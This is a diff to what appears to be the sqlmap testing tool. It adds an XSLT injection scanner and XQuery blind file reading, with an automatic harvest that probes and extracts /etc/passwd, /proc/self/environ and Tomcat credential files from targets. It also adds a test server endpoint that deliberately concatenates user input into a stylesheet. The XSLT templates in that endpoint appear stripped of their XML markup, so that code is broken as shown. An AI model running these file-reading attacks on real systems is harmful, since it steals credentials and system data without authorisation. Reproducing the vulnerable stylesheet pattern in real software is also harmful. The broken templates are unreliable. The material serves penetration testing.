diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py
index 5962545bd..e154363db 100644
--- a/extra/vulnserver/vulnserver.py
+++ b/extra/vulnserver/vulnserver.py
@@ -351,6 +351,23 @@ def hql_evaluate(value):
# --- XPath endpoint (vulnerable search and login, backed by an in-memory XML document) ------------
+XSLT_DOC = """- luther10
\
+- fluffy20
"""
+
+# The element slot: user input lands BETWEEN elements, so it can introduce whole XSLT instructions.
+XSLT_ELEMENT_SHEET = """
+
+%s
+"""
+
+# The value slot: user input lands INSIDE select="...", so it can only carry an XPath expression.
+XSLT_VALUE_SHEET = """
+
+
+"""
+
XPATH_XML = """
@@ -1177,6 +1194,27 @@ class ReqHandler(BaseHTTPRequestHandler):
self.wfile.write(output.encode(UNICODE_ENCODING))
return
+ if self.url in ("/xslt/element", "/xslt/value"):
+ # VULNERABLE: user input is concatenated into a stylesheet which is then compiled and applied
+ element = self.url.endswith("element")
+ source = self.params.get("tpl" if element else "sort", "" if element else "name")
+ try:
+ from lxml import etree
+ sheet = (XSLT_ELEMENT_SHEET if element else XSLT_VALUE_SHEET) % source
+ transform = etree.XSLT(etree.fromstring(sheet.encode("utf-8")))
+ output = str(transform(etree.fromstring(XSLT_DOC.encode("utf-8"))))
+ code = OK
+ except Exception as ex:
+ output = "XSLT error
%s: %s
" % (type(ex).__name__, ex)
+ code = INTERNAL_SERVER_ERROR
+
+ self.send_response(code)
+ self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
+ self.send_header("Connection", "close")
+ self.end_headers()
+ self.wfile.write(output.encode(UNICODE_ENCODING))
+ return
+
if self.url == "/xpath/search":
self.send_response(OK)
self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING)
diff --git a/lib/controller/checks.py b/lib/controller/checks.py
index 03e7abb5c..1eec0a39a 100644
--- a/lib/controller/checks.py
+++ b/lib/controller/checks.py
@@ -88,6 +88,7 @@ from lib.core.settings import INFERENCE_EQUALS_CHAR
from lib.core.settings import LDAP_ERROR_REGEX
from lib.core.settings import SSTI_ERROR_REGEX
from lib.core.settings import XPATH_ERROR_REGEX
+from lib.core.settings import XSLT_ERROR_REGEX
from lib.core.settings import XXE_ERROR_REGEX
from lib.core.settings import IPS_WAF_CHECK_PAYLOAD
from lib.core.settings import IPS_WAF_CHECK_RATIO
@@ -1188,13 +1189,13 @@ def heuristicCheckSqlInjection(place, parameter):
kb.ignoreCasted = readInput(message, default='Y' if conf.multipleTargets else 'N', boolean=True)
elif result:
- infoMsg += "be injectable"
+ infoMsg += "be SQL injectable"
if Backend.getErrorParsedDBMSes():
infoMsg += " (possible DBMS: '%s')" % Format.getErrorParsedDBMSes()
logger.info(infoMsg)
else:
- infoMsg += "not be injectable"
+ infoMsg += "not be SQL injectable"
logger.warning(infoMsg)
kb.heuristicMode = True
@@ -1271,6 +1272,12 @@ def heuristicCheckSqlInjection(place, parameter):
if conf.beep:
beep()
+ if not conf.xslt and re.search(XSLT_ERROR_REGEX, page or ""):
+ infoMsg = "heuristic (XSLT) test shows that %sparameter '%s' might be vulnerable to XSLT injection (rerun with switch '--xslt')" % ("%s " % paramType if paramType != parameter else "", parameter)
+ logger.info(infoMsg)
+ if conf.beep:
+ beep()
+
if not conf.xxe and kb.postHint in (POST_HINT.XML, POST_HINT.SOAP) and re.search(XXE_ERROR_REGEX, page or ""):
infoMsg = "heuristic (XXE) test shows that the XML request body might be vulnerable to XML External Entity injection (rerun with switch '--xxe')"
logger.info(infoMsg)
diff --git a/lib/controller/controller.py b/lib/controller/controller.py
index a3b7c07c7..30a43d95c 100644
--- a/lib/controller/controller.py
+++ b/lib/controller/controller.py
@@ -532,12 +532,12 @@ def start():
checkJWT()
- if conf.mineParams and not any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.hql, conf.jwt)):
+ if conf.mineParams and not any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.xslt, conf.hql, conf.jwt)):
from lib.utils.paraminer import mineParameters
mineParameters()
- if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.hql, conf.jwt)) and (conf.reportJson or conf.resultsFile):
- singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe/--hql/--jwt) findings; these are reported on the console only")
+ if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.xslt, conf.hql, conf.jwt)) and (conf.reportJson or conf.resultsFile):
+ singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xslt/--xxe/--hql/--jwt) findings; these are reported on the console only")
if conf.graphql:
from lib.techniques.graphql.inject import graphqlScan
@@ -564,6 +564,11 @@ def start():
sstiScan()
continue
+ if conf.xslt:
+ from lib.techniques.xslt.inject import xsltScan
+ xsltScan()
+ continue
+
if conf.xxe:
from lib.techniques.xxe.inject import xxeScan
xxeScan()
diff --git a/lib/core/option.py b/lib/core/option.py
index f216ab11e..cb1c707bc 100644
--- a/lib/core/option.py
+++ b/lib/core/option.py
@@ -945,10 +945,12 @@ def _setTamperingFunctions():
logger.warning(warnMsg)
# tamper scripts rewrite SQL injection payloads; the self-contained non-SQL engines
- # (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe) do not run payloads through the tampering hook, so
- # warn instead of silently ignoring the user's '--tamper'
- if kb.tamperFunctions and any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe)):
- engine = next(_ for _ in ("graphql", "nosql", "ldap", "xpath", "ssti", "xxe") if conf.get(_))
+ # (--graphql/--nosql/--ldap/--xpath/--ssti/--xslt/--xxe) do not run payloads through the tampering
+ # hook, so warn instead of silently ignoring the user's '--tamper'. One tuple drives both the test
+ # and the name lookup - keeping two lists in step is exactly how this raised StopIteration.
+ _nonSqlEngines = ("graphql", "nosql", "ldap", "xpath", "ssti", "xslt", "xxe")
+ if kb.tamperFunctions and any(conf.get(_) for _ in _nonSqlEngines):
+ engine = next(_ for _ in _nonSqlEngines if conf.get(_))
warnMsg = "tamper scripts are applied to SQL injection payloads only and "
warnMsg += "will be ignored by the '--%s' engine" % engine
logger.warning(warnMsg)
@@ -2755,7 +2757,7 @@ def _checkTor():
def _basicOptionValidation():
_nonSqlTechniques = [name for name, enabled in (
("--graphql", conf.graphql), ("--nosql", conf.nosql), ("--ldap", conf.ldap),
- ("--xpath", conf.xpath), ("--ssti", conf.ssti), ("--xxe", conf.xxe), ("--hql", conf.hql)) if enabled]
+ ("--xpath", conf.xpath), ("--ssti", conf.ssti), ("--xxe", conf.xxe), ("--xslt", conf.xslt), ("--hql", conf.hql)) if enabled]
if len(_nonSqlTechniques) > 1:
errMsg = "only one non-SQL technique switch may be used at a time (found: %s). " % ", ".join(_nonSqlTechniques)
errMsg += "each is a self-contained scan for a different back-end class - pick one"
diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py
index 95d921847..44ce5ded8 100644
--- a/lib/core/optiondict.py
+++ b/lib/core/optiondict.py
@@ -126,6 +126,7 @@ optDict = {
"xpath": "boolean",
"ssti": "boolean",
"xxe": "boolean",
+ "xslt": "boolean",
"hql": "boolean",
"jwt": "boolean",
"oobServer": "string",
diff --git a/lib/core/settings.py b/lib/core/settings.py
index 7b6a2bb84..42e5b158e 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (...)
-VERSION = "1.10.8.12"
+VERSION = "1.10.8.13"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -1168,7 +1168,9 @@ XPATH_ERROR_SIGNATURES = (
("eXist", r"org\.exist\.xquery\.(?:XPathException|XQueryException)"),
("eXist", r"exerr:ERROR"),
("Python ElementTree", r"xml\.etree\.ElementTree\.(?:ParseError|Element)"),
- ("Generic XPath", r"(?:XPath|XSLT).*?(?:error|exception|syntax)"),
+ # NOT XSLT: a dedicated '--xslt' engine owns those errors now, and claiming them here made every
+ # XSLT parser error suggest '--xpath' as well
+ ("Generic XPath", r"XPath.*?(?:error|exception|syntax)"),
("Generic XPath", r"Invalid XPath|XPath evaluation failed"),
)
@@ -1184,6 +1186,90 @@ XPATH_MAX_DEPTH = 32
# Upper bound for the value-length search during XPath blind extraction
XPATH_MAX_LENGTH = 256
+# XQuery (XPath 2.0/3.x) supersets XPath 1.0, so the same injection boundary reaches a much richer
+# language. These probes are TRUE on an XQuery processor and a SYNTAX ERROR on an XPath 1.0 one, which is
+# what makes them a capability test rather than a guess: string-join/matches/upper-case simply do not
+# exist in 1.0. Engines: Saxon, BaseX, eXist-db, MarkLogic, Zorba.
+XQUERY_CAPABILITY_PROBES = (
+ "string-join(('a','b'),'')='ab'",
+ "upper-case('a')='A'",
+ "matches('a','a')",
+)
+
+# XQuery file-read primitive: fn:unparsed-text() returns a text file as a string, so the existing blind
+# character bisection recovers it unchanged. doc() is the XML equivalent (and the OOB vector when it is
+# handed an http:// URI).
+XQUERY_FILE_READ = "unparsed-text(%s)"
+XQUERY_MAX_FILE_LENGTH = 4096
+
+# Proactive harvest for a confirmed XQuery back-end. Deliberately SHORT: unlike an in-band read, every
+# character here costs a bisection round-trip, so this is the identity/secret minimum rather than the
+# broad sweep an in-band engine can afford.
+XQUERY_FILE_HARVEST = (
+ "/etc/passwd",
+ "/etc/hostname",
+ "/proc/self/environ",
+ "/proc/self/cmdline",
+ "c:/windows/win.ini",
+)
+# Characters recovered from the ONE file the harvest extracts a sample from. Every character costs about
+# eight bisection round-trips, so a full /etc/passwd would be thousands of requests against the target.
+# The harvest therefore PROVES readability across the list for ~1 request each and samples a short prefix
+# from the first hit only. An explicit '--file-read' is a deliberate request and still gets the full
+# XQUERY_MAX_FILE_LENGTH.
+XQUERY_HARVEST_CHARS = 32
+
+# XSLT injection ('--xslt'). Compile/runtime errors are per-engine and are what reaches a target whose
+# output is fixed, so they double as the fingerprint when nothing can be reflected.
+# Ordered MOST SPECIFIC FIRST and matched in order: PHP's XSLTProcessor and lxml are both libxslt
+# underneath and emit its wording too, so the generic libxslt entry has to come last or it would shadow
+# the binding that actually tells the tester what they are talking to.
+XSLT_ERROR_SIGNATURES = (
+ ("PHP XSLTProcessor", r"XSLTProcessor::(?:importStylesheet|transformTo\w+)\(\)"),
+ ("libxslt / lxml", r"lxml\.etree\.(?:XSLT(?:Parse|Apply|)Error|XPathEvalError)"),
+ ("Saxon", r"(?:net\.sf\.saxon\.|SaxonApiException|Static error(?:s)? (?:in|at)|XTDE\d{4}|XTSE\d{4})"),
+ ("Xalan / Java JAXP", r"(?:javax\.xml\.transform\.Transformer(?:Configuration)?Exception|org\.apache\.xalan|XSLT Error)"),
+ (".NET XslCompiledTransform", r"System\.Xml\.Xsl\.(?:XslLoadException|XsltException)"),
+ # Anchored to XSLT vocabulary on purpose: this regex also drives the GLOBAL heuristic hint in
+ # checks.py, and bare "compilation error" / "Invalid expression" match gcc, javac and regex failures,
+ # which would suggest '--xslt' on targets that have nothing to do with XSLT.
+ ("libxslt", r"(?:xsltParseStylesheet|xsltApplyStylesheet|xsltCompilePattern|xsl:\w+ : |xmlXPathEval|XPath error : )"),
+ ("Generic XSLT", r"(?:XSLT|xsl:stylesheet).{0,40}?(?:error|exception|fail)"),
+)
+
+XSLT_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in XSLT_ERROR_SIGNATURES)
+
+# system-property() names the processor from inside the transformation, so a response carrying it is the
+# engine speaking rather than the application echoing.
+XSLT_VENDOR_PROPERTIES = ("xsl:vendor", "xsl:version", "xsl:vendor-url", "xsl:product-name", "xsl:product-version")
+
+# Extension surfaces that would turn XSLT injection into code execution or a file WRITE. sqlmap reports
+# their availability and never invokes them - probing whether a function EXISTS is not exercising it.
+XSLT_RCE_PROBES = (
+ ("PHP registerPHPFunctions (php:function)", "string(function-available('php:function'))"),
+ ("EXSLT exsl:document (file write)", "string(element-available('exsl:document'))"),
+ ("Saxon saxon:eval", "string(function-available('saxon:eval'))"),
+ ("Xalan java: extension namespace", "string(function-available('java:java.lang.Runtime.getRuntime'))"),
+)
+
+XSLT_MAX_FILE_LENGTH = 65536
+
+# XSLT 1.0's document() parses its target as XML, so a text file simply fails to load - only an XSLT 2.0+
+# engine reaches arbitrary text through unparsed-text(). These are the high-value paths that ARE XML, so
+# the auto-harvest still returns something on a 1.0 engine (which is most of the installed base).
+XSLT_XML_HARVEST = (
+ "/var/www/html/WEB-INF/web.xml",
+ "/usr/local/tomcat/conf/tomcat-users.xml",
+ "/usr/local/tomcat/conf/server.xml",
+ "/opt/tomcat/conf/tomcat-users.xml",
+ "/etc/tomcat/tomcat-users.xml",
+ "c:/inetpub/wwwroot/web.config",
+ "c:/windows/system32/inetsrv/config/applicationHost.config",
+)
+
+# Bound on the proactive harvest so a confirmed finding cannot turn into hundreds of requests.
+XSLT_MAX_HARVEST = 12
+
# SSTI error signatures per template engine for detection and fingerprinting.
# Each tuple is (engine_name, regex_fragment).
SSTI_ERROR_SIGNATURES = (
diff --git a/lib/core/testing.py b/lib/core/testing.py
index 2e064806c..ad44a8ee2 100644
--- a/lib/core/testing.py
+++ b/lib/core/testing.py
@@ -96,6 +96,8 @@ def vulnTest(tests=None, label="vuln"):
("-u \"nosql?name=luther&password=x\" -p password --nosql --flush-session", ("is vulnerable to NoSQL injection", "back-end: 'MongoDB'", "NoSQL: GET parameter 'password'", "s3cr3t")), # NoSQL (MongoDB) operator-injection detection + blind regexp extraction
("-u \"graphql\" --graphql --flush-session --disable-hashing", ("found GraphQL endpoint", "introspection returned", "enumerated 6 injectable argument slot(s): 4 query, 2 mutation", "SQL injection via GraphQL (boolean-based)", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "GraphQL database tables", "fetched 30 entries from table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "GraphQL scan complete")), # GraphQL: endpoint detection + introspection + query-slots-first (mutations only as fallback) + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed)
("-u \"ldap/search?q=x\" --ldap --flush-session --disable-hashing", ("is vulnerable to LDAP injection", "Title: LDAP in-band data exposure", "LDAP: GET parameter 'q' in-band entries", "in-band data exposure", "LDAP scan complete")), # LDAP: error-based detection (unbalanced paren) + boolean oracle + directory attribute extraction via blind substring probing
+ ("-u \"xslt/element?tpl=x\" --xslt --flush-session --disable-hashing", ("is vulnerable to XSLT injection", "element context", "Engine: libxslt", "Type: XSLT injection", "XSLT scan complete")), # XSLT: the engine names itself through system-property('xsl:vendor') in the element slot - a value the application cannot produce on its own
+ ("-u \"xslt/value?sort=name\" --xslt --flush-session --disable-hashing", ("is vulnerable to XSLT injection", "value context", "XSLT compile-differential", "XSLT scan complete")), # XSLT: the value slot reflects nothing, so detection rests on the compile differential plus positive XPath-syntax evidence
("-u \"xpath/search?q=x\" --xpath --flush-session --disable-hashing", ("is vulnerable to XPath injection", "Title: XPath boolean-based blind", "XPath: GET parameter 'q' XML tree", "extracted", "XPath scan complete")), # XPath: error-based detection + boolean oracle + blind XML tree-walking via starts-with character extraction
("-u \"ssti/search?q=x\" --ssti --flush-session --disable-hashing", ("is vulnerable to SSTI", "Title: SSTI Jinja2 injection", "back-end template engine: 'Jinja2'", "in-band arithmetic proof confirmed", "SSTI scan complete")), # SSTI: Jinja2 detection via arithmetic control-pair + boolean oracle + distinguishing probe
("-u \"hql/search?name=admin\" -p name --hql --flush-session --disable-hashing", ("is vulnerable to HQL injection", "back-end: 'Hibernate'", "entity 'Users'", "s3cr3t", "HQL scan complete")), # HQL: error-based Hibernate fingerprint + boolean oracle + error-leaked entity + blind attribute enumeration and substring value extraction
@@ -109,14 +111,14 @@ def vulnTest(tests=None, label="vuln"):
("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")),
)
- # The vulnserver's XPath and XXE endpoints render with lxml and its SSTI endpoint with jinja2; where
+ # The vulnserver's XPath, XXE and XSLT endpoints render with lxml and its SSTI endpoint with jinja2; where
# those optional third-party engines are not importable (e.g. PyPy 2.7, which has no lxml wheel), skip
# just those entries instead of failing the whole run - the rest of the suite is unaffected.
try:
__import__("lxml")
except ImportError:
- TESTS = tuple(_ for _ in TESTS if "--xpath" not in _[0] and "--xxe" not in _[0])
- logger.warning("skipping the XPath and XXE vuln-test entries ('lxml' not available)")
+ TESTS = tuple(_ for _ in TESTS if not any(_flag in _[0] for _flag in ("--xpath", "--xxe", "--xslt")))
+ logger.warning("skipping the XPath, XXE and XSLT vuln-test entries ('lxml' not available)")
try:
__import__("jinja2")
except ImportError:
diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py
index b750fccaa..e6c106f31 100644
--- a/lib/parse/cmdline.py
+++ b/lib/parse/cmdline.py
@@ -802,6 +802,9 @@ def cmdLineParser(argv=None):
nonsql.add_argument("--ssti", dest="ssti", action="store_true",
help="Test for server-side template injection")
+ nonsql.add_argument("--xslt", dest="xslt", action="store_true",
+ help="Test for XSLT injection")
+
nonsql.add_argument("--xxe", dest="xxe", action="store_true",
help="Test for XML External Entity (XXE) injection")
diff --git a/lib/techniques/xpath/inject.py b/lib/techniques/xpath/inject.py
index 2aa7922bc..a274bcf51 100644
--- a/lib/techniques/xpath/inject.py
+++ b/lib/techniques/xpath/inject.py
@@ -11,7 +11,10 @@ import time
from collections import namedtuple
from lib.core.common import beep
+from lib.core.common import dataToOutFile
from lib.core.common import randomStr
+from lib.core.common import removeReflectiveValues
+from lib.core.convert import getBytes
from lib.core.convert import getUnicode
from lib.core.data import conf
from lib.core.data import logger
@@ -32,6 +35,11 @@ from lib.core.settings import XPATH_ERROR_REGEX
from lib.core.settings import XPATH_ERROR_SIGNATURES
from lib.core.settings import XPATH_MAX_DEPTH
from lib.core.settings import XPATH_MAX_LENGTH
+from lib.core.settings import XQUERY_CAPABILITY_PROBES
+from lib.core.settings import XQUERY_FILE_READ
+from lib.core.settings import XQUERY_FILE_HARVEST
+from lib.core.settings import XQUERY_HARVEST_CHARS
+from lib.core.settings import XQUERY_MAX_FILE_LENGTH
from lib.request.connect import Connect as Request
from lib.utils.xrange import xrange
@@ -152,6 +160,12 @@ def _send(place, parameter, value):
if conf.verbose >= 3:
logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value))
page, _, code = Request.getPage(**kwargs)
+ # Strip the payload back out before anyone compares pages. An endpoint that ECHOES the parameter
+ # differs between any two probes simply because the two payloads differ - which satisfies a
+ # true/false differential, and even the XPath-only confirm battery, without a single expression
+ # ever being evaluated. That reported XSLT (and plain reflective) endpoints as XPath-injectable.
+ # On a genuinely blind target the payload is not in the page, so this is a no-op.
+ page = removeReflectiveValues(page, value, suppressWarning=True)
# A transport failure or a BLOCKED/ERROR status (5xx, 403/429 WAF/rate-limit) is NOT a usable
# oracle sample: returning "" for it would let a one-sided failure fake a true/false divergence
# (an empty body cannot be told apart from a dead connection). Signal it as None -> the boolean
@@ -371,16 +385,20 @@ class _XPathPayloadBuilder(object):
def stringLengthAtLeast(self, target, n):
return self._make("string-length(%s)>=%d" % (target, n))
- def charPresent(self, target, pos):
+ def charPresent(self, target, pos, literal=None):
# True when the character at 1-based position `pos` of `target` belongs to
# the known ordered charset (so its index can be resolved by bisection).
- return self._make("contains(%s,substring(%s,%d,1))" % (_CS_LITERAL, target, pos))
+ return self._make("contains(%s,substring(%s,%d,1))" % (literal or _CS_LITERAL, target, pos))
- def charIndexAtLeast(self, target, pos, n):
+ def charIndexAtLeast(self, target, pos, n, literal=None):
# The 0-based index of a charset member equals the length of the charset
# prefix preceding it (XPath 1.0 has no lexicographic '<', but
# string-length(substring-before(...)) yields a number we can bisect on).
- return self._make("string-length(substring-before(%s,substring(%s,%d,1)))>=%d" % (_CS_LITERAL, target, pos, n))
+ return self._make("string-length(substring-before(%s,substring(%s,%d,1)))>=%d" % (literal or _CS_LITERAL, target, pos, n))
+
+ def predicate(self, expression):
+ """Send an arbitrary boolean expression through the verified boundary (XQuery capability probes)."""
+ return self._make(expression)
def _makeOracle(place, parameter, boundary, base):
@@ -522,7 +540,7 @@ def _inferCount(oracle, builder, path, countFn, maxCount=128):
return None
-def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH):
+def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH, ords=None, literal=None):
"""Blindly recover the string value of XPath expression `target` (e.g.
"name(/*)" or "string(/*[1]/@*[1])") using binary search.
@@ -547,10 +565,11 @@ def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH):
chars = []
probes = 0
- last = len(_CS_ORDS) - 1
+ ords = ords or _CS_ORDS
+ last = len(ords) - 1
for pos in xrange(1, length + 1):
probes += 1
- if not oracle.extract(builder.charPresent(target, pos)):
+ if not oracle.extract(builder.charPresent(target, pos, literal)):
chars.append("?")
continue
@@ -558,11 +577,11 @@ def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH):
while clo < chi:
cmid = (clo + chi + 1) // 2
probes += 1
- if oracle.extract(builder.charIndexAtLeast(target, pos, cmid)):
+ if oracle.extract(builder.charIndexAtLeast(target, pos, cmid, literal)):
clo = cmid
else:
chi = cmid - 1
- chars.append(chr(_CS_ORDS[clo]))
+ chars.append(chr(ords[clo]))
except InconclusiveError:
# abort this value rather than emit a length/char chosen from an ambiguous bit
logger.warning("XPath string inference aborted (oracle inconclusive after retries)")
@@ -573,6 +592,68 @@ def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH):
return value or None
+# File content carries bytes the XML-tree charset deliberately excludes (tab, newline, quotes, angle
+# brackets). Recovering a file with those replaced by '?' would be worse than useless, so a file read gets
+# its own charset. Tab and newline are produced with fn:codepoints-to-string() rather than an XML
+# character reference: the payload travels in a query-string parameter, where a literal '&' would split
+# it into two parameters. This literal is only ever used on the XQuery path, where the function exists.
+_FILE_ORDS = [0x09, 0x0a] + [_ for _ in xrange(XPATH_CHAR_MIN, XPATH_CHAR_MAX + 1)]
+# Built entirely from codepoints rather than a quoted string: the charset contains ', ", & and < , each of
+# which is either illegal bare in an XQuery string literal ('&' -> "Invalid entity") or would need
+# escaping that survives URL transport. fn:codepoints-to-string() takes the whole sequence and has none of
+# those hazards.
+_FILE_LITERAL = "codepoints-to-string((%s))" % ",".join(str(_) for _ in _FILE_ORDS)
+
+
+def _probeXQuery(oracle, builder):
+ """True when the injected expression reaches an XQuery / XPath 2.0+ processor rather than an XPath 1.0
+ one. Each probe calls a function that does not exist in 1.0, so a positive answer is a capability the
+ engine demonstrated - not an inference from an error string or a version banner.
+
+ A second, NEGATIVE control matters here: an oracle that answers TRUE to everything would otherwise be
+ read as 'XQuery'. The false control must come back false for the verdict to stand."""
+
+ try:
+ if oracle.extract(builder.predicate("string-join(('a','b'),'')='zz'")):
+ return False # answers true to a FALSE probe -> oracle is not discriminating
+ for probe in XQUERY_CAPABILITY_PROBES:
+ if oracle.extract(builder.predicate(probe)):
+ return True
+ except InconclusiveError:
+ return False
+ return False
+
+
+def _xqueryFileRead(oracle, builder, path, quiet=False, maxLen=XQUERY_MAX_FILE_LENGTH):
+ """Recover a text file through fn:unparsed-text() using the same blind bisection that walks the XML
+ tree - the boundary is already proven, so this needs no new oracle. `quiet` suppresses the
+ not-readable notice, because the proactive harvest expects most of its paths to be absent."""
+
+ target = XQUERY_FILE_READ % _xpathQuote(path)
+ try:
+ if not oracle.extract(builder.predicate("string-length(%s)>0" % target)):
+ if not quiet:
+ logger.warning("XQuery file read: '%s' is empty or not readable" % path)
+ return None
+ except InconclusiveError:
+ return None
+ return _inferString(oracle, builder, target, maxLen=maxLen,
+ ords=_FILE_ORDS, literal=_FILE_LITERAL)
+
+
+def _dumpFileRead(remoteFile, content):
+ """Save an XQuery-read file to the output directory (parity with '--file-read')."""
+ try:
+ localPath = dataToOutFile(remoteFile, getBytes(content))
+ except Exception as ex:
+ logger.debug("could not save the XQuery-read file to disk: %s" % getUnicode(ex))
+ localPath = None
+ if localPath:
+ conf.dumper.rFile([localPath])
+ else:
+ conf.dumper.singleString("XQuery file read ('%s'):\n%s" % (remoteFile, content))
+
+
def _walkTree(oracle, builder, path="/*", depth=0):
"""Recursively walk the XML tree from a given XPath expression.
Returns a dict: {name, path, children, attributes, text} or None."""
@@ -799,8 +880,54 @@ def xpathScan():
logger.info("identified back-end: '%s'" % backend)
slot = slot._replace(backend=backend)
- title = "XPath boolean-based blind"
- conf.dumper.singleString("---\nParameter: %s (%s)\n Type: XPath injection\n Title: %s\n Payload: %s=%s\n---" % (slot.parameter, slot.place, title, slot.parameter, slot.payload))
+ # An XQuery/XPath-2.0+ processor accepts the same boundary but a far larger language, so say so and
+ # use it: fn:unparsed-text() turns the proven boolean oracle into a file-read primitive.
+ isXQuery = _probeXQuery(oracle, builder)
+ if isXQuery:
+ logger.info("the back-end evaluates XQuery / XPath 2.0+ (fn:string-join, fn:matches, fn:unparsed-text are available)")
+ if slot.backend in (None, "Generic XPath"):
+ slot = slot._replace(backend="Generic XQuery / XPath 2.0+")
+
+ title = "XQuery boolean-based blind" if isXQuery else "XPath boolean-based blind"
+ conf.dumper.singleString("---\nParameter: %s (%s)\n Type: %s injection\n Title: %s\n Payload: %s=%s\n---" % (slot.parameter, slot.place, "XQuery" if isXQuery else "XPath", title, slot.parameter, slot.payload))
+
+ if isXQuery:
+ # A confirmed XQuery back-end is exploited automatically, like every other non-SQL engine: the
+ # tree walk below is the data dump, and fn:unparsed-text() is the file-read impact. An explicit
+ # '--file-read' overrides the harvest and is honoured verbatim instead.
+ if conf.fileRead:
+ logger.info("reading file '%s' through fn:unparsed-text()" % conf.fileRead)
+ content = _xqueryFileRead(oracle, builder, conf.fileRead)
+ if content:
+ logger.info("XQuery file read succeeded (%d characters)" % len(content))
+ _dumpFileRead(conf.fileRead, content)
+ else:
+ logger.warning("XQuery file read of '%s' failed" % conf.fileRead)
+ else:
+ # Readability is PROVED across the list for about one request per path, then a short
+ # prefix is sampled from the first hit. Extracting every file would cost thousands of
+ # bisection round-trips - impact is established by reading a file at all, not by volume.
+ logger.info("probing which files are readable through fn:unparsed-text()")
+ readable = []
+ for path in XQUERY_FILE_HARVEST:
+ try:
+ if oracle.extract(builder.predicate("string-length(%s)>0" % (XQUERY_FILE_READ % _xpathQuote(path)))):
+ readable.append(path)
+ logger.info("'%s' is readable" % path)
+ except InconclusiveError:
+ break
+ if readable:
+ sample = _xqueryFileRead(oracle, builder, readable[0], quiet=True, maxLen=XQUERY_HARVEST_CHARS)
+ if sample:
+ logger.info("read the first %d characters of '%s'" % (len(sample), readable[0]))
+ _dumpFileRead(readable[0], sample)
+ conf.dumper.singleString("XQuery: readable through fn:unparsed-text():\n%s"
+ % "\n".join(" %s" % _ for _ in readable))
+ logger.info("use '--file-read' to pull one of these in full")
+ else:
+ logger.info("no file could be read automatically through fn:unparsed-text()")
+ elif conf.fileRead:
+ logger.warning("'--file-read' needs an XQuery / XPath 2.0+ back-end; this one is XPath 1.0 only")
# Blind XML tree-walking (attempted document-root traversal)
logger.info("walking XML document tree (depth limit: %d)" % XPATH_MAX_DEPTH)
diff --git a/lib/techniques/xslt/__init__.py b/lib/techniques/xslt/__init__.py
new file mode 100644
index 000000000..bcac84163
--- /dev/null
+++ b/lib/techniques/xslt/__init__.py
@@ -0,0 +1,8 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+pass
diff --git a/lib/techniques/xslt/inject.py b/lib/techniques/xslt/inject.py
new file mode 100644
index 000000000..cc9ae9ba7
--- /dev/null
+++ b/lib/techniques/xslt/inject.py
@@ -0,0 +1,520 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+"""
+XSLT injection ('--xslt').
+
+An application that builds a stylesheet by concatenating user input hands over a whole transformation
+language, not just a value. The tiers are ordered by what each one PROVES, not by how spectacular it is:
+
+ T1 system-property('xsl:vendor') the engine names itself in the response - a fingerprint, and the
+ strongest evidence that the input really is compiled as XSLT
+ T2 arbitrary XPath evaluated and reflected in-band
+ T3 malformed select parser error naming the engine (reaches targets with fixed output)
+ T4 document('file:///...') file read, plus unparsed-text() where the engine is XSLT 2.0+
+
+Blind out-of-band (document('http://collector/')) is NOT implemented yet; it would reuse the collector
+'--xxe' already has, but nothing here drives it, so a target with no in-band or error surface is out of
+reach for now.
+
+The ELEMENT slot and the VALUE slot are different surfaces and are probed separately: input landing
+between elements can introduce whole XSLT instructions, while input landing inside select="..." can only
+carry an XPath expression. Nothing is inferred from a payload merely "looking like" it worked - every
+tier is confirmed by a per-run random sentinel or by a value the application cannot produce by itself.
+
+Deliberately reported but NOT exploited: PHP registerPHPFunctions(), EXSLT exsl:document (file WRITE) and
+saxon:eval. Those are RCE / write primitives and sit outside what this switch is for.
+"""
+
+import re
+import time
+from collections import namedtuple
+
+from lib.core.common import beep
+from lib.core.common import dataToOutFile
+from lib.core.common import randomStr
+from lib.core.convert import getBytes
+from lib.core.convert import getText
+from lib.core.convert import getUnicode
+from lib.core.data import conf
+from lib.core.data import logger
+from lib.core.enums import CUSTOM_LOGGING
+from lib.core.enums import PLACE
